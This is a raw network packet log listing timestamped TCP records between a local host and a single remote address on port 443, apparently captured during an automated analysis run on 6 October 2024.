Oct 6, 2024 22:33:39.789303064 CEST	49945	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:39.789309978 CEST	443	49945	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:39.810944080 CEST	443	49941	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:39.811089039 CEST	443	49941	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:39.811126947 CEST	443	49941	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:39.811150074 CEST	49941	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:39.811184883 CEST	49941	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:39.811206102 CEST	49941	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:39.811222076 CEST	443	49941	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:39.811242104 CEST	49941	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:39.811248064 CEST	443	49941	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:39.813723087 CEST	49946	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:39.813750982 CEST	443	49946	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:39.813821077 CEST	49946	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:39.813911915 CEST	49946	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:39.813920021 CEST	443	49946	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:39.824712038 CEST	443	49944	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:39.825046062 CEST	443	49944	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:39.825109005 CEST	49944	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:39.825123072 CEST	443	49944	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:39.825165033 CEST	443	49944	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:39.825195074 CEST	49944	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:39.825221062 CEST	443	49944	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:39.825234890 CEST	49944	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:39.825242996 CEST	443	49944	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:39.833858013 CEST	49947	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:39.833884954 CEST	443	49947	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:39.833941936 CEST	49947	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:39.834062099 CEST	49947	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:39.834078074 CEST	443	49947	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:39.846106052 CEST	443	49942	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:39.846405983 CEST	443	49942	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:39.846463919 CEST	49942	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:39.846518040 CEST	49942	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:39.846527100 CEST	443	49942	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:39.846539021 CEST	49942	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:39.846544981 CEST	443	49942	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:39.848355055 CEST	49948	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:39.848387957 CEST	443	49948	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:39.848472118 CEST	49948	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:39.848578930 CEST	49948	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:39.848592997 CEST	443	49948	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:39.869195938 CEST	443	49943	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:39.869359016 CEST	443	49943	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:39.869414091 CEST	49943	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:39.869442940 CEST	49943	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:39.869452953 CEST	443	49943	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:39.869479895 CEST	49943	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:39.869486094 CEST	443	49943	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:39.871474981 CEST	49949	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:39.871539116 CEST	443	49949	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:39.871607065 CEST	49949	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:39.871691942 CEST	49949	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:39.871721029 CEST	443	49949	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:39.890003920 CEST	443	49945	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:39.890101910 CEST	443	49945	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:39.890147924 CEST	49945	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:39.890201092 CEST	49945	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:39.890214920 CEST	443	49945	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:39.890227079 CEST	49945	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:39.890233994 CEST	443	49945	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:39.891834974 CEST	49950	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:39.891861916 CEST	443	49950	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:39.892050028 CEST	49950	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:39.892189026 CEST	49950	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:39.892214060 CEST	443	49950	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:40.459410906 CEST	443	49946	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:40.460000038 CEST	49946	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:40.460021973 CEST	443	49946	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:40.460441113 CEST	49946	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:40.460448980 CEST	443	49946	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:40.505570889 CEST	443	49948	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:40.506062031 CEST	49948	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:40.506098986 CEST	443	49948	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:40.506536961 CEST	49948	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:40.506544113 CEST	443	49948	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:40.514540911 CEST	443	49947	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:40.514894962 CEST	49947	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:40.514920950 CEST	443	49947	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:40.515296936 CEST	49947	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:40.515304089 CEST	443	49947	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:40.524878025 CEST	443	49949	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:40.525396109 CEST	49949	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:40.525433064 CEST	443	49949	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:40.525767088 CEST	49949	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:40.525779963 CEST	443	49949	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:40.527899027 CEST	443	49950	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:40.528145075 CEST	49950	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:40.528157949 CEST	443	49950	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:40.528492928 CEST	49950	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:40.528501987 CEST	443	49950	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:40.560738087 CEST	443	49946	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:40.561006069 CEST	443	49946	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:40.561084986 CEST	49946	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:40.561114073 CEST	49946	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:40.561114073 CEST	49946	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:40.561126947 CEST	443	49946	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:40.561134100 CEST	443	49946	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:40.563843966 CEST	49951	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:40.563882113 CEST	443	49951	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:40.563952923 CEST	49951	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:40.564064026 CEST	49951	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:40.564074993 CEST	443	49951	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:40.604366064 CEST	443	49948	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:40.604444027 CEST	443	49948	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:40.604496002 CEST	49948	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:40.604626894 CEST	49948	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:40.604639053 CEST	443	49948	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:40.604648113 CEST	49948	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:40.604651928 CEST	443	49948	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:40.607136965 CEST	49952	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:40.607151985 CEST	443	49952	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:40.607208967 CEST	49952	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:40.607351065 CEST	49952	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:40.607363939 CEST	443	49952	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:40.624739885 CEST	443	49949	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:40.624830961 CEST	443	49949	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:40.624887943 CEST	49949	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:40.624897957 CEST	443	49949	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:40.624980927 CEST	443	49949	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:40.625035048 CEST	49949	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:40.625099897 CEST	49949	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:40.625108004 CEST	443	49949	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:40.625122070 CEST	49949	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:40.625127077 CEST	443	49949	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:40.625665903 CEST	443	49950	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:40.625794888 CEST	443	49950	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:40.625854015 CEST	49950	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:40.625884056 CEST	49950	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:40.625888109 CEST	443	49950	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:40.625895977 CEST	49950	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:40.625900030 CEST	443	49950	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:40.626091003 CEST	443	49947	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:40.626405954 CEST	443	49947	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:40.626466036 CEST	49947	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:40.626497984 CEST	443	49947	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:40.626521111 CEST	443	49947	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:40.626563072 CEST	49947	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:40.627453089 CEST	49947	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:40.627473116 CEST	443	49947	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:40.627481937 CEST	49947	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:40.627486944 CEST	443	49947	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:40.629457951 CEST	49953	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:40.629476070 CEST	443	49953	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:40.629535913 CEST	49953	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:40.629672050 CEST	49953	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:40.629683018 CEST	443	49953	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:40.631336927 CEST	49954	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:40.631342888 CEST	443	49954	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:40.631414890 CEST	49954	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:40.631627083 CEST	49954	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:40.631637096 CEST	443	49954	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:40.632168055 CEST	49955	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:40.632189989 CEST	443	49955	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:40.632239103 CEST	49955	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:40.632328033 CEST	49955	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:40.632342100 CEST	443	49955	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:41.165944099 CEST	443	49952	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:41.166490078 CEST	49952	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:41.166506052 CEST	443	49952	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:41.166951895 CEST	49952	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:41.166956902 CEST	443	49952	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:41.212354898 CEST	443	49951	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:41.212937117 CEST	49951	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:41.212944031 CEST	443	49951	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:41.213331938 CEST	49951	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:41.213335037 CEST	443	49951	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:41.267513990 CEST	443	49952	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:41.267561913 CEST	443	49952	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:41.267617941 CEST	443	49952	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:41.267648935 CEST	49952	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:41.267692089 CEST	49952	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:41.267951965 CEST	49952	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:41.267971039 CEST	443	49952	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:41.267980099 CEST	49952	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:41.267985106 CEST	443	49952	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:41.271173000 CEST	49956	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:41.271214962 CEST	443	49956	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:41.271291018 CEST	49956	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:41.271456003 CEST	49956	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:41.271461964 CEST	443	49956	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:41.276379108 CEST	443	49955	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:41.276729107 CEST	49955	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:41.276745081 CEST	443	49955	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:41.277152061 CEST	49955	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:41.277156115 CEST	443	49955	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:41.306664944 CEST	443	49954	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:41.307019949 CEST	49954	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:41.307043076 CEST	443	49954	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:41.307356119 CEST	49954	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:41.307359934 CEST	443	49954	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:41.314524889 CEST	443	49953	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:41.314773083 CEST	49953	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:41.314779997 CEST	443	49953	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:41.315049887 CEST	49953	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:41.315052986 CEST	443	49953	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:41.315679073 CEST	443	49951	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:41.315772057 CEST	443	49951	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:41.315824986 CEST	49951	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:41.315917015 CEST	49951	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:41.315922976 CEST	443	49951	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:41.315929890 CEST	49951	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:41.315932989 CEST	443	49951	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:41.318331003 CEST	49957	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:41.318361998 CEST	443	49957	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:41.318438053 CEST	49957	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:41.318553925 CEST	49957	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:41.318567038 CEST	443	49957	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:41.381041050 CEST	443	49955	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:41.381072044 CEST	443	49955	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:41.381115913 CEST	443	49955	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:41.381140947 CEST	49955	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:41.381174088 CEST	49955	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:41.381350040 CEST	49955	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:41.381356001 CEST	443	49955	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:41.381362915 CEST	49955	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:41.381367922 CEST	443	49955	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:41.383373022 CEST	49958	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:41.383403063 CEST	443	49958	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:41.383464098 CEST	49958	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:41.383568048 CEST	49958	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:41.383574009 CEST	443	49958	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:41.410661936 CEST	443	49954	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:41.410800934 CEST	443	49954	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:41.410876036 CEST	49954	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:41.411015987 CEST	49954	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:41.411030054 CEST	443	49954	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:41.411040068 CEST	49954	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:41.411045074 CEST	443	49954	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:41.412964106 CEST	49959	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:41.412987947 CEST	443	49959	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:41.413047075 CEST	49959	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:41.413146973 CEST	49959	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:41.413156033 CEST	443	49959	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:41.423715115 CEST	443	49953	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:41.423881054 CEST	443	49953	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:41.423947096 CEST	49953	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:41.424084902 CEST	49953	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:41.424089909 CEST	443	49953	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:41.424099922 CEST	49953	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:41.424103975 CEST	443	49953	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:41.426155090 CEST	49960	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:41.426202059 CEST	443	49960	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:41.426281929 CEST	49960	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:41.426397085 CEST	49960	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:41.426417112 CEST	443	49960	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:41.933113098 CEST	443	49956	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:41.933691978 CEST	49956	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:41.933711052 CEST	443	49956	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:41.934150934 CEST	49956	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:41.934156895 CEST	443	49956	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:41.969842911 CEST	443	49957	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:41.970654011 CEST	49957	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:41.970669985 CEST	443	49957	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:41.971143007 CEST	49957	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:41.971163034 CEST	443	49957	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:42.036118984 CEST	443	49958	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:42.036570072 CEST	49958	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:42.036592960 CEST	443	49958	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:42.037059069 CEST	49958	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:42.037067890 CEST	443	49958	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:42.042834997 CEST	443	49956	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:42.042924881 CEST	443	49956	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:42.042974949 CEST	49956	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:42.043088913 CEST	49956	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:42.043101072 CEST	443	49956	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:42.043108940 CEST	49956	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:42.043113947 CEST	443	49956	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:42.046030045 CEST	49961	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:42.046076059 CEST	443	49961	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:42.046144009 CEST	49961	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:42.046308994 CEST	49961	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:42.046324015 CEST	443	49961	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:42.056850910 CEST	443	49959	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:42.057167053 CEST	49959	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:42.057173967 CEST	443	49959	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:42.057579041 CEST	49959	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:42.057581902 CEST	443	49959	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:42.074495077 CEST	443	49957	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:42.074712038 CEST	443	49957	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:42.074759960 CEST	443	49957	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:42.074770927 CEST	49957	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:42.074834108 CEST	49957	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:42.074851036 CEST	49957	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:42.074861050 CEST	443	49957	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:42.074892998 CEST	49957	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:42.074897051 CEST	443	49957	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:42.077379942 CEST	49962	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:42.077394962 CEST	443	49962	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:42.077454090 CEST	49962	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:42.077569008 CEST	49962	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:42.077580929 CEST	443	49962	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:42.079835892 CEST	443	49960	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:42.080204964 CEST	49960	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:42.080236912 CEST	443	49960	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:42.080585957 CEST	49960	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:42.080593109 CEST	443	49960	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:42.138731003 CEST	443	49958	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:42.138856888 CEST	443	49958	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:42.138927937 CEST	49958	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:42.139003992 CEST	49958	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:42.139018059 CEST	443	49958	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:42.139028072 CEST	49958	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:42.139031887 CEST	443	49958	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:42.141573906 CEST	49963	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:42.141613007 CEST	443	49963	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:42.141675949 CEST	49963	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:42.141835928 CEST	49963	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:42.141849041 CEST	443	49963	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:42.161592007 CEST	443	49959	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:42.161725998 CEST	443	49959	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:42.161782980 CEST	49959	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:42.161797047 CEST	49959	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:42.161806107 CEST	443	49959	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:42.161813974 CEST	49959	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:42.161817074 CEST	443	49959	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:42.163685083 CEST	49964	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:42.163713932 CEST	443	49964	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:42.163772106 CEST	49964	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:42.163896084 CEST	49964	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:42.163912058 CEST	443	49964	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:42.188652992 CEST	443	49960	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:42.188898087 CEST	443	49960	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:42.188973904 CEST	49960	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:42.189022064 CEST	49960	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:42.189022064 CEST	49960	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:42.189042091 CEST	443	49960	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:42.189057112 CEST	443	49960	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:42.190907955 CEST	49965	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:42.190937996 CEST	443	49965	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:42.191011906 CEST	49965	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:42.191108942 CEST	49965	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:42.191126108 CEST	443	49965	13.107.246.45	192.168.2.4
